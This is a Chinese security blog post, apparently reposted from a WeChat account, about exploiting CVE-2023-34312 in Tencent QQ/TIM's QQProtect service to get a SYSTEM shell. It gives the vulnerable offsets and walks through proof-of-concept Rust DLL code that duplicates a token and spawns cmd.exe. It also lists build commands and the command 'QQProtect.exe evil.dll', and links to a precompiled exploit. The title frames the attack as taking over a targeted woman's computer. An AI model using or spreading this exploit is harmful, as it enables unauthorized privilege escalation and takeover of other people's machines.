如何通过QQ的day拿下女神电脑最高权限(CVE-2023-34312)

admin 2023年6月30日02:16:07评论260 views字数 2179阅读7分15秒阅读模式
漏洞简介:CVE-2023-34312Tencent QQ TIM 是深圳腾讯计算机系统有限公司开发的两个即时通讯软件。它们都有一个位于 %ProgramFiles(x86)%Common FilesTencentQQProtectbin 目录下的组件 QQProtect.exeQQProtect.exe 作为一个名为 QPCore Windows 服务安装,并在系统启动时自动以 NT AuthoritySYSTEM 身份运行。组件 QQProtect.exe 及其依赖的 DLL QQProtectEngine.dll 都存在任意地址写入漏洞。攻击者在具有低权限的情况下,通过结合这两个漏洞,可以在 QQProtect.exe 进程中加载恶意 DLL,并获取 NT AuthoritySYSTEM 权限的 shell

第一个漏洞位于 QQProtect.exe+0x40c9f8 处,其中 a2 是一个可被攻击者控制的指针,dword_41a740 是一个全局变量,其值为 0x00000001。因此,攻击者可以在任意地址写入 DWORD(1) 的值。

第二个漏洞位于 QQProtectEngine.dll+0x3B4F6 处,其中 v3 是一个可被攻击者控制的指针。因此,攻击者可以在任意给定的地址 ptr 处写入值 std::bit_cast<DWORD>(ptr) + 4

攻击者可以篡改 QQProtect.exe 中的函数指针,并使用 ROP 链轻松执行任意代码,因为 QQProtect.exe 没有启用地址空间布局随机化(ASLR)保护。

受影响的版本:
QQ 9.7.1.28940 ~ 9.7.8.29039
TIM 3.4.5.22071 ~ 3.4.7.22084
QQ复现版本的下载地址:
https://soft.3dmgame.com/down/242765.html
POC分析:

  1. 导入所需的Windows相关模块:

use windows::core::*;use windows::Win32::Foundation::*;use windows::Win32::System::Threading::*;use windows::Win32::System::SystemServices::*;use windows::Win32::Security::*;use windows::Win32::System::RemoteDesktop::*;

这些代码行导入了与Windows API相关的模块,以便在代码中使用相应的函数、结构体和常量。

2.定义 DllMain 函数:

#[no_mangle]pub unsafe extern "stdcall" fn DllMain(_: HINSTANCE, reason: u32, _: *mut u8) -> BOOL {

这是DLL的入口函数。它采用标准调用约定(stdcall)并返回一个BOOL值。

处理 DLL 进程附加事件:


  • if reason == DLL_PROCESS_ATTACH {    // 执行一系列操作...}

    在DLL被附加到进程时,执行一系列操作。这是由 DLL_PROCESS_ATTACH 事件触发的条件判断。

    2.执行一系列操作:

    let mut token = HANDLE::default();OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &mut token).ok().unwrap();
    // 一些其他操作...

    这部分代码在DLL被附加到进程时执行。它包含了一系列操作,如获取当前进程的访问令牌、创建新的进程以及设置令牌信息等。

    具体的操作包括:

      • 使用 OpenProcessToken 函数获取当前进程的访问令牌。
      • 使用 DuplicateTokenEx 函数创建一个令牌的副本。
      • 使用 SetTokenInformation 函数设置令牌信息,包括会话ID。
      • 使用 CreateProcessAsUserW 函数创建一个以用户身份运行的新进程(此处为cmd.exe)。

      返回结果:

      return TRUE;

      最后,函数返回 TRUE 值,表示DLL初始化成功。

      POC编译(看文末):
      rust官网下载rust环境,并且完成安装。
      运行以下命令进行工具链的安装

      rustup toolchain install stable-i686-pc-windows-msvc

      如何通过QQ的day拿下女神电脑最高权限(CVE-2023-34312)

      然后编译poc
      cargo +stable-i686-pc-windows-msvc build --release --config "build.rustflags = ["-C", "target-feature=+crt-static"]"

      如何通过QQ的day拿下女神电脑最高权限(CVE-2023-34312)

      编译完成后,会得到两个 DLL 文件:
      targetreleasetinyxml.dll
      targetreleaseevil.dll

      将上述两个 DLL 文件和
      %ProgramFiles(x86)%Common FilesTencentQQProtectbinQQProtect.exe

      放置在同一个文件夹中。

      最后,执行以下命令获取 NT AuthoritySYSTEM 权限的 shell
      QQProtect.exe evil.dll
      如何通过QQ的day拿下女神电脑最高权限(CVE-2023-34312)

      已经编译好的exp

      蓝奏云:

      https://wwvx.lanzoul.com/i1yCO10skkpa

      原文始发于微信公众号(Drt安全战队):如何通过QQ的day拿下女神电脑最高权限(CVE-2023-34312)

      • 左青龙
      • 微信扫一扫
      • weinxin
      • 右白虎
      • 微信扫一扫
      • weinxin
      admin
      • 本文由 发表于 2023年6月30日02:16:07
      • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                       如何通过QQ的day拿下女神电脑最高权限(CVE-2023-34312)http://cn-sec.com/archives/1845129.html

      发表评论

      匿名网友 填写信息